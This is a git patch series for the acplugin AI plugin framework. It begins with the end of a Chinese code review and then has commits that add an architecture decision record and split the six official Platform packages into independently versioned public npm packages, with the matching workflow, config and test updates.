info:`validateCanonicalProject` 用进程级全局 Symbol 桥 + refcount 把公开 API 递给生成工程(CLI 串行安全,但并发编程式 migrate 会共享一个全局桥 —— 是 by-convention 而非结构性隔离,建议留注释说明串行前提)。 + +### Testing / Tooling —— 硬骨头覆盖强,弱在接线 +强:`cli.test.ts` 9+ 个 SIGINT/exit-130/dev-recovery 场景(多数项目直接跳过);`transaction.test.ts`+`locking.test.ts` 覆盖中断恢复与死进程锁回收;`migration.test.ts` 深覆盖脱敏/二进制/注入;`architecture.test.ts` 实现残留守卫(§19.2.10);`verify-release.mjs` 是真正的 tarball/publint/attw/clean-consumer/Pi-pack 门。弱:F4(CI 不跑 test/build);**无端到端重复构建字节相等测试**(§19.2.8/§18 —— 确定性只在序列化器层对乱序内存输入测过,正是 F1 破坏的那类保证却无测试可抓,中/高);所有脱敏测试都注入受控 environment,**掩盖了生产用的 `process.env` 默认路径**(中,这正是 F1 在干净机器上仍绿的 CI 卫生原因);`release:verify`/tarball 层只在手动脚本、任何自动门都不跑(中);注释守卫无防漂移(中,`check-comments.mjs` 只遍历硬编码 131 项 `enforcedFiles`,新增 src 文件会静默逃逸 —— 建议 glob `src/**/*.ts` 并对缺失项失败);注释守卫可被单个汉字满足(低,`CHINESE_PATTERN.test`,本质是 presence 检查,可接受但值得记为已知限制);根 `pretest=build` 使构建失败显示为测试失败(低 DX)。 + +--- + +## 6. 建议的处理顺序 + +**发布 1.0 前必须处理(阻断级):** +1. **F1 / REDACT-1** —— 删除 env 值子串脱敏、`executeLifecycle` 默认空脱敏环境;配一个含平台 id 子串的 env-like 回归测试。修好后唯一失败测试转绿,§18 确定性恢复。 +2. **F2** —— 把 `finalize()`/buildEnd 移出事务 `afterSwap`,buildEnd 错误只记诊断、不下调 committed/success。 +3. **F3** —— Migration 加 per-kind emitted ID + per-stage workspace 目录注册表,冲突时消歧或标 degraded/unmapped。 +4. **F4** —— `check.yml` 加 `test`+`build`(或 `pnpm run check`);发布分支加 `release:verify` job。 +5. **F5** —— `engines.node` 抬到 `>=22.18`(或 `^22.13||>=24`),同步规范 §4.1 / `AGENTS.md`;如需保留 emitted node20 目标则拆分「运行时 floor / 构建 floor」。 + +**发布前建议处理(质量/一致性):** +6. 端到端重复构建字节相等测试 + 生产 `process.env` 脱敏路径回归(补 §19.2.8 缺口,锁死 F1 不回归)。 +7. 二级平台兼容矩阵 + validator 拒绝分支测试(补最大未测风险面)。 +8. scanner Public `to` 反斜杠归一化对齐(补 Windows 确定性盲点)。 +9. 两个 Extension 包补 attw+publint gate;`isolatedDeclarations:true`;tsdown catalog 收紧为 `~0.22.14`。 +10. 注释守卫改为 glob `src/**/*.ts` 防漂移。 + +**可延后(低优 / 纯质量):** 平台 helper 提取到 Core 共享模块(A1)、Codex 三路径函数合一、`pendingArtifacts` 未处理 rejection 加 `.catch`、Hooks `wire.mjs` per-platform memoize、OpenCode 惰性循环删除/落实、§21 核验日期注解补齐、migration `items[]` 稳定排序、dev 增量缓存决策(实现或把 §18 该 MUST 降为 MAY)、legacy `--target` 检测/init 错误消息 DX、`localeCompare` → code-unit(如需摆脱 ICU 依赖)。 + +--- + +## 7. 总评 + +按十分制:**架构设计 9/10,代码实现 8.5/10,规范一致性 8.5/10,测试与工程化 7/10,工具链现代度 8/10。** + +这份重构在最难的地方(确定性、所有权、事务、安全边界)做对了,而且是**深思熟虑地**做对 —— 这些机制不是模板噪音,每一层都能对上一条 §10/§18 的具体要求。发现的问题没有一个动摇架构:F1 是一个原语选错(一处共享函数即可修复所有 caller)、F2 是一处生命周期与事务的接线错误、F3 是 migration 少了一个注册表、F4/F5 是 CI 与版本声明的工程卫生。全部可在小改动内闭合,且都带明确修复路径。 + +从「懒惰资深工程师」视角,值得一提的是**克制得当**:没有为单实现造接口、没有把 marketplace 做成空壳字段、CLI 没有引入第二套插件面 —— 反而是 F1 那处「主动去 grep 环境变量值」的额外机制才是应当删掉的复杂度。删掉它,同时修好其余四处接线,这就是一个可以自信发布的 1.0。 From 5b3689d70cc6e4ad6d64dc49a152165ae4470aa3 Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 14:26:51 +0800 Subject: [PATCH 13/27] docs: define first-class platform packages --- AGENTS.md | 18 ++++---- .../0004-first-class-platform-packages.md | 45 +++++++++++++++++++ ...004-first-class-platform-packages.zh-CN.md | 45 +++++++++++++++++++ llmdoc/index.md | 3 +- 4 files changed, 101 insertions(+), 10 deletions(-) create mode 100644 llmdoc/architecture/decisions/0004-first-class-platform-packages.md create mode 100644 llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md diff --git a/AGENTS.md b/AGENTS.md index db999fc..0f035c5 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -2,10 +2,10 @@ ## 项目定位 -acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP;框架默认构建 Claude Code 与 Codex,并可显式构建 Cursor、Antigravity、OpenCode 和 Pi 交付产物。 +acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书写 Commands、Skills、Agents,以及可选 Hooks/MCP;`init` 默认生成显式安装 Claude Code 与 Codex Platform 的工程,使用者也可安装 Cursor、Antigravity、OpenCode、Pi 或任意第三方 Platform。 -- 公开包:`@tokenroll/acplugin`、`@tokenroll/acplugin-extension-hooks`、`@tokenroll/acplugin-extension-mcp` -- 私有包:Core、六个内置 Platform、内部 Test workspace +- 公开包:`@tokenroll/acplugin`、六个 `@tokenroll/acplugin-platform-*`、`@tokenroll/acplugin-extension-hooks`、`@tokenroll/acplugin-extension-mcp` +- 私有包:Core、内部 Test workspace - 不提供 Instructions Component - 旧 Claude 工程/Plugin 的导入仅属于隔离的 Migration 子系统 @@ -24,7 +24,7 @@ acplugin 是统一的 AI Plugin 框架和 CLI。作者通过规范化工程书 packages/ ├── acplugin/ # 公开 CLI/facade,内含隔离 Migration ├── core/ # 私有配置、扫描、生命周期、Artifact、事务 -├── platforms/ # 六个独立私有 Platform 实现包 +├── platforms/ # 六个独立公开 Platform 实现包 │ ├── claude-code/ │ ├── codex/ │ ├── cursor/ @@ -37,7 +37,7 @@ packages/ └── test/ # 私有跨包 Vitest 集成测试 ``` -`@tokenroll/acplugin` 构建时必须 bundle Core 和六个私有 Platform。任何公开 tarball 的运行时依赖都不得出现 `@acplugin/*`。Hooks/MCP Extension 通过 `workspace:^` peer 开发边,在 pack 后必须变为正常 `^x.y.z`。 +`@tokenroll/acplugin` 构建时必须 bundle Core,但不得 bundle 或重新导出官方 Platform/Extension。六个官方 Platform 与 Hooks/MCP Extension 都只能从主包公开 SDK 导入契约,并通过 `workspace:^` peer 开发边连接主包;pack 后必须变为正常 `^x.y.z`。任何公开 tarball 的运行时依赖都不得出现 `@acplugin/*`。 ## 统一构建架构 @@ -124,12 +124,12 @@ pnpm run release:verify ## 发行 -- 三个公开包统一版本,由 Changesets fixed group 管理。 +- 九个公开包由 Changesets 独立版本化;兼容性由 lifecycle `apiVersion` 和主包 peer range 表达,不使用 fixed group。 - `Check` Workflow 在 PR 上自动执行 lint 和 typecheck。 -- `Patch` Workflow 只能手工触发;从默认分支选择目标分支,在写版本前确认至少一个有效 Changeset 会升级公开包,再消费 Changesets、生成 changelog、升级固定公开包版本,并创建回到该目标分支的版本 PR。 +- `Patch` Workflow 只能手工触发;从默认分支选择目标分支,在写版本前确认至少一个有效 Changeset 会升级公开包,再消费 Changesets、生成 changelog、升级各自声明的公开包版本,并创建回到该目标分支的版本 PR。 - 所有版本均由维护者从已验证 tarball 手工发布;仓库不得添加 Tag/npm 自动发布 Workflow。 -- 手工发布顺序:Hooks Extension → MCP Extension → 主包;每一步都要验证 Registry 精确版本。 -- 三个 npm 版本全部存在后,再由维护者手工创建 `tokenroll-vX.Y.Z` Tag 和 GitHub Release。 +- 每个变更的公开包都要验证 Registry 精确版本;依赖新的主包 peer range 时先发布主包,再发布对应 Platform/Extension。 +- 对应 npm 版本存在后,再由维护者手工创建该版本的 Tag 和 GitHub Release。 - 禁止自动 publish/unpublish、修改 dist-tag、创建 Tag 或 GitHub Release,除非用户明确要求执行对应操作。 ## Git 与改动安全 diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md new file mode 100644 index 0000000..4d7c9c2 --- /dev/null +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.md @@ -0,0 +1,45 @@ +# ADR-0004: Platforms are first-class ecosystem packages + +- Status: accepted +- Date: 2026-08-08 +- Scope: acplugin 1.0 package API + +## Context + +The six official Platforms were private `@acplugin/*` workspace packages bundled and re-exported by the main package. That model simplified single-tarball use, but gave official Platforms a private Core dependency unavailable to third parties and forced the framework package to know every official implementation. Extensions already demonstrate that an independently published package can use the public lifecycle SDK through a peer dependency while preserving ownership, branding, and lifecycle boundaries. + +`@tokenroll/acplugin/platforms/` is an export subpath owned by the main package, not an independent npm package with its own installation, version, and publication boundary. + +## Decision + +1. `@tokenroll/acplugin` provides only the CLI and public framework SDK; it does not re-export official Platforms or Extensions. +2. Each official Platform is published as `@tokenroll/acplugin-platform-`. The Extensions retain `@tokenroll/acplugin-extension-`. +3. Every official integration imports only public contracts from `@tokenroll/acplugin` and declares it as a peer dependency. Production sources cannot import private Core. +4. `platforms` is required. The main package does not load official implementations by default or by ID. `init` preserves the default Claude Code and Codex experience by generating explicit dependencies and imports. +5. Official integrations are versioned independently; lifecycle `apiVersion` and the main-package peer range express compatibility. +6. Third-party packages need no registry, official scope, or enforced naming convention. +7. Version 1.0 keeps no compatibility re-export or Platform subpath. + +## Consequences + +- Projects install and import every selected Platform explicitly. +- Official Platforms become real examples that third-party authors can reproduce. +- The normal main-package runtime graph does not grow with the official Platform catalog. +- Release verification expands from three to nine tarballs and checks peer rewriting, brand interoperability, and a clean consumer. +- Init, Migration, fixtures, documentation, and release workflows must use the independent package names. + +## Rejected alternatives + +- Main-package `./platforms/*` subpaths: they retain one owner, version, and publication boundary. +- Deprecated re-exports: they preserve the wrong default and prevent a genuinely narrow framework package. +- Automatic package discovery or installation by Platform ID: it introduces network side effects and non-deterministic naming resolution. +- Publishing the private Core package: it leaks Registry and transaction internals instead of maintaining one public SDK boundary. + +## Evidence + +- `packages/acplugin/src/index.ts` +- `packages/acplugin/src/project-config.ts` +- `packages/acplugin/tsdown.config.ts` +- `packages/platforms/*/package.json` +- `packages/extensions/*/package.json` +- Specification §4.2–§4.4, §5.2, and §19 diff --git a/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md new file mode 100644 index 0000000..e7eaa92 --- /dev/null +++ b/llmdoc/architecture/decisions/0004-first-class-platform-packages.zh-CN.md @@ -0,0 +1,45 @@ +# ADR-0004:Platform 是一等独立生态包 + +- 状态:已接受 +- 日期:2026-08-08 +- 适用范围:acplugin 1.0 package API + +## 背景 + +六个官方 Platform 原先是私有 `@acplugin/*` workspace 包,由主包内联并重新导出。该模型虽然让单 tarball 使用简单,却让官方 Platform 依赖第三方无法访问的 Core,并迫使主包知道全部官方实现。Extension 已证明“独立公开 package + 主包 peer dependency + 公开 lifecycle SDK”可以保持 owner、品牌和生命周期边界。 + +`@tokenroll/acplugin/platforms/` 只是主包 export subpath,不是独立 npm package,不能提供独立安装、版本和第三方对等发布模型。 + +## 决策 + +1. `@tokenroll/acplugin` 只承担 CLI 和公开框架 SDK,不重新导出官方 Platform/Extension。 +2. 六个官方 Platform 分别发布为 `@tokenroll/acplugin-platform-`,两个 Extension 继续使用 `@tokenroll/acplugin-extension-`。 +3. 所有官方集成只从 `@tokenroll/acplugin` 导入公开契约,并把它声明为 peer dependency;生产源码不得导入私有 Core。 +4. `platforms` 配置必填。主包不按缺省值或 ID 加载官方实现;`init` 通过显式依赖和 import 保留默认 Claude Code/Codex 的脚手架体验。 +5. 官方集成独立版本化,以 lifecycle `apiVersion` 和主包 peer range 表达兼容性。 +6. 第三方包无需注册、无需官方 scope,也不强制命名;只要使用公开工厂和契约即可参与同一 lifecycle。 +7. 1.0 不保留旧主包 re-export 或 Platform subpath 兼容层。 + +## 影响 + +- 使用者必须安装并 import 所需 Platform package,配置依赖变得显式、可审计。 +- 官方 Platform 成为第三方作者可复制的真实 package 范例。 +- 主包正常运行图不随官方 Platform 数量增长。 +- 发布验证从三个公开 tarball 扩展到九个,并验证 peer rewrite、品牌互操作与 clean consumer。 +- `init`、Migration、文档、fixture 和 release workflow 必须同步使用独立包名。 + +## 未采用方案 + +- 主包 `./platforms/*` subpath:仍由主包拥有版本和发布边界,不是一等生态包。 +- 同时保留 re-export:会让错误入口继续成为事实标准,并使主包无法真正收窄。 +- 按 Platform ID 自动安装或发现包:引入网络副作用、命名注册和不可重复解析。 +- 公开私有 Core 包:扩大内部 Registry/事务表面,破坏主包作为唯一 SDK 边界。 + +## 证据 + +- `packages/acplugin/src/index.ts` +- `packages/acplugin/src/project-config.ts` +- `packages/acplugin/tsdown.config.ts` +- `packages/platforms/*/package.json` +- `packages/extensions/*/package.json` +- 规范 §4.2–§4.4、§5.2、§19 diff --git a/llmdoc/index.md b/llmdoc/index.md index 96f7df3..7917db6 100644 --- a/llmdoc/index.md +++ b/llmdoc/index.md @@ -11,7 +11,7 @@ acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Ski ## Guides - [Using acplugin](guides/usage.md) · [使用 acplugin](guides/usage.zh-CN.md) — scaffold, author, validate, build, and migrate. -- [Release guide](guides/release.md) · [手动发布指南](guides/release.zh-CN.md) — fixed public cohort verification and fully manual publishing. +- [Release guide](guides/release.md) · [手动发布指南](guides/release.zh-CN.md) — independent public-package verification and fully manual publishing. - [中文代码注释规范](guides/commenting.zh-CN.md) — 中文声明注释、关键逻辑注释与自动守卫规则。 ## Architecture @@ -20,6 +20,7 @@ acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Ski - [ADR-0001: lifecycle determinism and cache](architecture/decisions/0001-lifecycle-determinism-and-cache.md) · [ADR-0001:生命周期确定性与缓存](architecture/decisions/0001-lifecycle-determinism-and-cache.zh-CN.md) - [ADR-0002: Extension contribution order](architecture/decisions/0002-extension-contribution-order.md) · [ADR-0002:Extension 贡献顺序](architecture/decisions/0002-extension-contribution-order.zh-CN.md) - [ADR-0003: Node toolchain and runtime support](architecture/decisions/0003-node-toolchain-and-runtime-support.md) · [ADR-0003:Node 工具链与运行时支持](architecture/decisions/0003-node-toolchain-and-runtime-support.zh-CN.md) +- [ADR-0004: first-class Platform packages](architecture/decisions/0004-first-class-platform-packages.md) · [ADR-0004:Platform 是一等独立生态包](architecture/decisions/0004-first-class-platform-packages.zh-CN.md) ## Reference From 740dbc56ccaba51de3afb148cab271286bac36bc Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 14:58:06 +0800 Subject: [PATCH 14/27] feat: publish platform packages independently --- .changeset/config.json | 16 +--- .github/workflows/patch.yml | 57 +++++++++-- .github/workflows/verify.yml | 15 ++- package.json | 3 +- packages/acplugin/package.json | 20 +--- packages/acplugin/src/cli.ts | 4 +- packages/acplugin/src/index.ts | 38 +------- packages/acplugin/src/init.ts | 38 +++++--- packages/acplugin/src/migration/index.ts | 34 +++++-- .../acplugin/src/platforms/antigravity.ts | 2 - .../acplugin/src/platforms/claude-code.ts | 6 -- packages/acplugin/src/platforms/codex.ts | 9 -- packages/acplugin/src/platforms/cursor.ts | 2 - packages/acplugin/src/platforms/opencode.ts | 2 - packages/acplugin/src/platforms/pi.ts | 2 - packages/acplugin/src/project-config.ts | 6 +- packages/acplugin/test/config-loader.test.ts | 50 +++++++--- packages/acplugin/tsdown.config.ts | 25 +---- packages/core/src/config.ts | 29 +++--- packages/core/src/types.ts | 2 +- packages/core/test/config.test.ts | 22 ++++- packages/core/test/core.test.ts | 17 ++-- packages/core/test/graph.test.ts | 5 +- packages/core/test/lifecycle.test.ts | 2 +- packages/core/test/scanner.test.ts | 9 +- packages/extensions/hooks/package.json | 2 +- packages/extensions/hooks/test/hooks.test.ts | 20 ++-- packages/extensions/mcp/test/mcp.test.ts | 8 ++ packages/platforms/antigravity/LICENSE | 21 ++++ packages/platforms/antigravity/README.md | 25 +++++ packages/platforms/antigravity/package.json | 19 +++- .../platforms/antigravity/src/components.ts | 2 +- packages/platforms/antigravity/src/index.ts | 4 +- .../platforms/antigravity/src/manifest.ts | 2 +- .../platforms/antigravity/src/validator.ts | 2 +- .../antigravity/test/platform.test.ts | 2 +- .../platforms/antigravity/tsdown.config.ts | 1 + .../platforms/antigravity/vitest.config.ts | 12 +++ packages/platforms/claude-code/LICENSE | 21 ++++ packages/platforms/claude-code/README.md | 25 +++++ packages/platforms/claude-code/package.json | 19 +++- .../platforms/claude-code/src/components.ts | 2 +- packages/platforms/claude-code/src/index.ts | 4 +- .../platforms/claude-code/src/manifest.ts | 2 +- .../platforms/claude-code/src/validator.ts | 2 +- .../claude-code/test/platform.test.ts | 2 +- .../platforms/claude-code/tsdown.config.ts | 1 + .../platforms/claude-code/vitest.config.ts | 12 +++ packages/platforms/codex/LICENSE | 21 ++++ packages/platforms/codex/README.md | 25 +++++ packages/platforms/codex/package.json | 28 +++--- packages/platforms/codex/src/components.ts | 2 +- packages/platforms/codex/src/index.ts | 4 +- packages/platforms/codex/src/manifest.ts | 2 +- packages/platforms/codex/src/types.ts | 2 +- packages/platforms/codex/src/validator.ts | 2 +- .../platforms/codex/test/platform.test.ts | 2 +- packages/platforms/codex/tsdown.config.ts | 1 + packages/platforms/codex/vitest.config.ts | 12 +++ packages/platforms/cursor/LICENSE | 21 ++++ packages/platforms/cursor/README.md | 25 +++++ packages/platforms/cursor/package.json | 19 +++- packages/platforms/cursor/src/components.ts | 2 +- packages/platforms/cursor/src/index.ts | 4 +- packages/platforms/cursor/src/manifest.ts | 2 +- packages/platforms/cursor/src/validator.ts | 2 +- .../platforms/cursor/test/platform.test.ts | 2 +- packages/platforms/cursor/tsdown.config.ts | 1 + packages/platforms/cursor/vitest.config.ts | 12 +++ packages/platforms/opencode/LICENSE | 21 ++++ packages/platforms/opencode/README.md | 25 +++++ packages/platforms/opencode/package.json | 19 +++- packages/platforms/opencode/src/components.ts | 2 +- .../platforms/opencode/src/config-document.ts | 2 +- packages/platforms/opencode/src/index.ts | 4 +- packages/platforms/opencode/src/validator.ts | 2 +- .../platforms/opencode/test/platform.test.ts | 4 +- packages/platforms/opencode/tsdown.config.ts | 1 + packages/platforms/opencode/vitest.config.ts | 12 +++ packages/platforms/pi/LICENSE | 21 ++++ packages/platforms/pi/README.md | 25 +++++ packages/platforms/pi/package.json | 19 +++- packages/platforms/pi/src/components.ts | 2 +- packages/platforms/pi/src/index.ts | 4 +- packages/platforms/pi/src/manifest.ts | 2 +- packages/platforms/pi/src/validator.ts | 2 +- packages/platforms/pi/test/platform.test.ts | 2 +- packages/platforms/pi/tsdown.config.ts | 1 + packages/platforms/pi/vitest.config.ts | 12 +++ packages/test/package.json | 8 +- packages/test/test/build.test.ts | 14 ++- packages/test/test/claude-code.test.ts | 9 +- packages/test/test/cli.test.ts | 47 ++++++--- packages/test/test/codex.test.ts | 14 +-- packages/test/test/ecosystem-contract.test.ts | 2 +- packages/test/test/extension-api.types.ts | 4 +- packages/test/test/init.test.ts | 14 ++- packages/test/test/package-boundaries.test.ts | 49 ++++++---- packages/test/test/public-api.types.ts | 33 +++---- packages/test/test/repository.test.ts | 35 +++++-- .../test/test/secondary-platforms.test.ts | 13 ++- packages/test/test/workspace-layout.test.ts | 36 +++---- packages/test/vitest.config.ts | 8 +- pnpm-lock.yaml | 78 +++++++++------ scripts/comment-coverage.json | 12 +-- scripts/verify-release.mjs | 96 ++++++++++++++----- tsconfig.base.json | 18 ++-- 107 files changed, 1040 insertions(+), 448 deletions(-) delete mode 100644 packages/acplugin/src/platforms/antigravity.ts delete mode 100644 packages/acplugin/src/platforms/claude-code.ts delete mode 100644 packages/acplugin/src/platforms/codex.ts delete mode 100644 packages/acplugin/src/platforms/cursor.ts delete mode 100644 packages/acplugin/src/platforms/opencode.ts delete mode 100644 packages/acplugin/src/platforms/pi.ts create mode 100644 packages/platforms/antigravity/LICENSE create mode 100644 packages/platforms/antigravity/README.md create mode 100644 packages/platforms/antigravity/vitest.config.ts create mode 100644 packages/platforms/claude-code/LICENSE create mode 100644 packages/platforms/claude-code/README.md create mode 100644 packages/platforms/claude-code/vitest.config.ts create mode 100644 packages/platforms/codex/LICENSE create mode 100644 packages/platforms/codex/README.md create mode 100644 packages/platforms/codex/vitest.config.ts create mode 100644 packages/platforms/cursor/LICENSE create mode 100644 packages/platforms/cursor/README.md create mode 100644 packages/platforms/cursor/vitest.config.ts create mode 100644 packages/platforms/opencode/LICENSE create mode 100644 packages/platforms/opencode/README.md create mode 100644 packages/platforms/opencode/vitest.config.ts create mode 100644 packages/platforms/pi/LICENSE create mode 100644 packages/platforms/pi/README.md create mode 100644 packages/platforms/pi/vitest.config.ts diff --git a/.changeset/config.json b/.changeset/config.json index c6e1b8d..7d39d0d 100644 --- a/.changeset/config.json +++ b/.changeset/config.json @@ -2,25 +2,13 @@ "$schema": "https://unpkg.com/@changesets/config@3.1.3/schema.json", "changelog": "@changesets/cli/changelog", "commit": false, - "fixed": [ - [ - "@tokenroll/acplugin", - "@tokenroll/acplugin-extension-hooks", - "@tokenroll/acplugin-extension-mcp" - ] - ], + "fixed": [], "linked": [], "access": "public", "baseBranch": "main", "updateInternalDependencies": "patch", "ignore": [ "@acplugin/core", - "@acplugin/test", - "@acplugin/platform-claude-code", - "@acplugin/platform-codex", - "@acplugin/platform-cursor", - "@acplugin/platform-antigravity", - "@acplugin/platform-opencode", - "@acplugin/platform-pi" + "@acplugin/test" ] } diff --git a/.github/workflows/patch.yml b/.github/workflows/patch.yml index ce2f602..e42c5d9 100644 --- a/.github/workflows/patch.yml +++ b/.github/workflows/patch.yml @@ -62,17 +62,58 @@ jobs: } NODE - - name: Consume Changesets and bump the fixed cohort + - name: Consume Changesets and bump independent packages shell: bash run: | set -euo pipefail - before_version="$(node -p "require('./packages/acplugin/package.json').version")" + before_file="$(mktemp)" + after_file="$(mktemp)" + node - "$before_file" <<'NODE' + const fs = require('node:fs') + const paths = [ + 'packages/acplugin/package.json', + 'packages/platforms/claude-code/package.json', + 'packages/platforms/codex/package.json', + 'packages/platforms/cursor/package.json', + 'packages/platforms/antigravity/package.json', + 'packages/platforms/opencode/package.json', + 'packages/platforms/pi/package.json', + 'packages/extensions/hooks/package.json', + 'packages/extensions/mcp/package.json', + ] + fs.writeFileSync(process.argv[2], JSON.stringify(Object.fromEntries(paths.map(file => { + const manifest = require(`./${file}`) + return [manifest.name, manifest.version] + })))) + NODE pnpm version-packages - after_version="$(node -p "require('./packages/acplugin/package.json').version")" - if [[ "$before_version" == "$after_version" ]]; then - echo "::error::The Changesets did not bump the public package cohort." - exit 1 - fi + node - "$after_file" <<'NODE' + const fs = require('node:fs') + const paths = [ + 'packages/acplugin/package.json', + 'packages/platforms/claude-code/package.json', + 'packages/platforms/codex/package.json', + 'packages/platforms/cursor/package.json', + 'packages/platforms/antigravity/package.json', + 'packages/platforms/opencode/package.json', + 'packages/platforms/pi/package.json', + 'packages/extensions/hooks/package.json', + 'packages/extensions/mcp/package.json', + ] + fs.writeFileSync(process.argv[2], JSON.stringify(Object.fromEntries(paths.map(file => { + const manifest = require(`./${file}`) + return [manifest.name, manifest.version] + })))) + NODE + node - "$before_file" "$after_file" <<'NODE' + const fs = require('node:fs') + const before = JSON.parse(fs.readFileSync(process.argv[2], 'utf8')) + const after = JSON.parse(fs.readFileSync(process.argv[3], 'utf8')) + if (!Object.keys(after).some(name => before[name] !== after[name])) { + console.error('::error::The Changesets did not bump any public package.') + process.exit(1) + } + NODE pnpm install --lockfile-only - run: pnpm run lint @@ -89,7 +130,7 @@ jobs: commit-message: "chore(release): version packages" title: "chore(release): version packages" body: | - Consumes the Changesets from `${{ inputs.target_branch }}` and updates the fixed public package cohort versions and changelogs. + Consumes the Changesets from `${{ inputs.target_branch }}` and updates the independently versioned public packages and changelogs. This pull request does not publish packages, create tags, or create a GitHub Release. diff --git a/.github/workflows/verify.yml b/.github/workflows/verify.yml index 80973a5..2d6016a 100644 --- a/.github/workflows/verify.yml +++ b/.github/workflows/verify.yml @@ -19,7 +19,7 @@ jobs: cache: pnpm - run: pnpm install --frozen-lockfile - run: pnpm run build - - name: Verify and retain the public cohort + - name: Verify and retain the public packages run: pnpm run release:verify -- --tarball-dir "$RUNNER_TEMP/acplugin-tarballs" - name: Upload the exact verified tarballs uses: actions/upload-artifact@v7 @@ -57,6 +57,12 @@ jobs: const locate = pattern => path.join(tarballDirectory, files.find(file => pattern.test(file))) const dependencies = { '@tokenroll/acplugin': `file:${locate(/^tokenroll-acplugin-\d/)}`, + '@tokenroll/acplugin-platform-claude-code': `file:${locate(/^tokenroll-acplugin-platform-claude-code-/)}`, + '@tokenroll/acplugin-platform-codex': `file:${locate(/^tokenroll-acplugin-platform-codex-/)}`, + '@tokenroll/acplugin-platform-cursor': `file:${locate(/^tokenroll-acplugin-platform-cursor-/)}`, + '@tokenroll/acplugin-platform-antigravity': `file:${locate(/^tokenroll-acplugin-platform-antigravity-/)}`, + '@tokenroll/acplugin-platform-opencode': `file:${locate(/^tokenroll-acplugin-platform-opencode-/)}`, + '@tokenroll/acplugin-platform-pi': `file:${locate(/^tokenroll-acplugin-platform-pi-/)}`, '@tokenroll/acplugin-extension-hooks': `file:${locate(/^tokenroll-acplugin-extension-hooks-/)}`, '@tokenroll/acplugin-extension-mcp': `file:${locate(/^tokenroll-acplugin-extension-mcp-/)}`, } @@ -68,22 +74,25 @@ jobs: dependencies, }, null, 2)}\n`) fs.writeFileSync(path.join(consumer, 'acplugin.config.ts'), `import { defineConfig } from '@tokenroll/acplugin'; + import claudeCode from '@tokenroll/acplugin-platform-claude-code'; + import codex from '@tokenroll/acplugin-platform-codex'; export default defineConfig({ name: 'node-20-consumer', version: '1.0.0', description: 'Node 20 packed consumer.', + platforms: [claudeCode(), codex()], }); `) fs.writeFileSync(path.join(consumer, 'src/skills/hello/SKILL.md'), `--- description: Verify the Node 20 consumer. --- - Build the packed release cohort on Node 20. + Build the packed public packages on Node 20. `) NODE - name: Install and execute the clean consumer working-directory: consumer run: | pnpm install --ignore-workspace - node --input-type=module --eval "await Promise.all([import('@tokenroll/acplugin'), import('@tokenroll/acplugin-extension-hooks'), import('@tokenroll/acplugin-extension-mcp')])" + node --input-type=module --eval "await Promise.all([import('@tokenroll/acplugin'), import('@tokenroll/acplugin-platform-claude-code'), import('@tokenroll/acplugin-platform-codex'), import('@tokenroll/acplugin-platform-cursor'), import('@tokenroll/acplugin-platform-antigravity'), import('@tokenroll/acplugin-platform-opencode'), import('@tokenroll/acplugin-platform-pi'), import('@tokenroll/acplugin-extension-hooks'), import('@tokenroll/acplugin-extension-mcp')])" pnpm exec acplugin build --json diff --git a/package.json b/package.json index 83bbfcf..6107c26 100644 --- a/package.json +++ b/package.json @@ -8,7 +8,7 @@ "node": "^22.18.0 || >=24.11.0" }, "scripts": { - "build": "pnpm -r --if-present run build", + "build": "pnpm --filter @acplugin/core run build && pnpm --filter \"@tokenroll/acplugin-platform-*\" run build && pnpm --filter \"@tokenroll/acplugin-extension-*\" run build && pnpm --filter @tokenroll/acplugin run build", "dev": "pnpm --filter @tokenroll/acplugin run dev", "pretest": "pnpm run build", "test": "pnpm --config.enable-pre-post-scripts=false -r --if-present run test", @@ -31,6 +31,7 @@ "@changesets/cli": "^2.31.1", "@eslint/js": "^10.0.1", "@stylistic/eslint-plugin": "^5.10.0", + "@tokenroll/acplugin-platform-claude-code": "workspace:^", "@tokenroll/acplugin-extension-mcp": "workspace:^", "@types/node": "catalog:", "@typescript/native": "catalog:", diff --git a/packages/acplugin/package.json b/packages/acplugin/package.json index ced13ed..04dce49 100644 --- a/packages/acplugin/package.json +++ b/packages/acplugin/package.json @@ -1,7 +1,7 @@ { "name": "@tokenroll/acplugin", "version": "1.0.0", - "description": "Build canonical AI plugins and integrations for six AI platforms.", + "description": "Canonical AI Plugin framework and CLI.", "type": "module", "license": "MIT", "homepage": "https://github.com/TokenRollAI/acplugin#readme", @@ -10,21 +10,13 @@ "sideEffects": false, "engines": { "node": "^20.19.0 || ^22.13.0 || >=23.5.0" }, "bin": { "acplugin": "./dist/cli.mjs" }, - "exports": { - ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" }, - "./platforms/claude-code": { "types": "./dist/platforms/claude-code.d.mts", "import": "./dist/platforms/claude-code.mjs" }, - "./platforms/codex": { "types": "./dist/platforms/codex.d.mts", "import": "./dist/platforms/codex.mjs" }, - "./platforms/cursor": { "types": "./dist/platforms/cursor.d.mts", "import": "./dist/platforms/cursor.mjs" }, - "./platforms/antigravity": { "types": "./dist/platforms/antigravity.d.mts", "import": "./dist/platforms/antigravity.mjs" }, - "./platforms/opencode": { "types": "./dist/platforms/opencode.d.mts", "import": "./dist/platforms/opencode.mjs" }, - "./platforms/pi": { "types": "./dist/platforms/pi.d.mts", "import": "./dist/platforms/pi.mjs" } - }, + "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, "files": ["dist", "README.md", "LICENSE"], "publishConfig": { "access": "public" }, "scripts": { "build": "tsdown", "dev": "tsdown --watch", - "pretest": "pnpm --filter @acplugin/core run build && pnpm --filter '@acplugin/platform-*' run build", + "pretest": "pnpm --filter @acplugin/core run build", "test": "vitest run --passWithNoTests", "typecheck": "tsc -p tsconfig.json" }, @@ -43,12 +35,6 @@ }, "devDependencies": 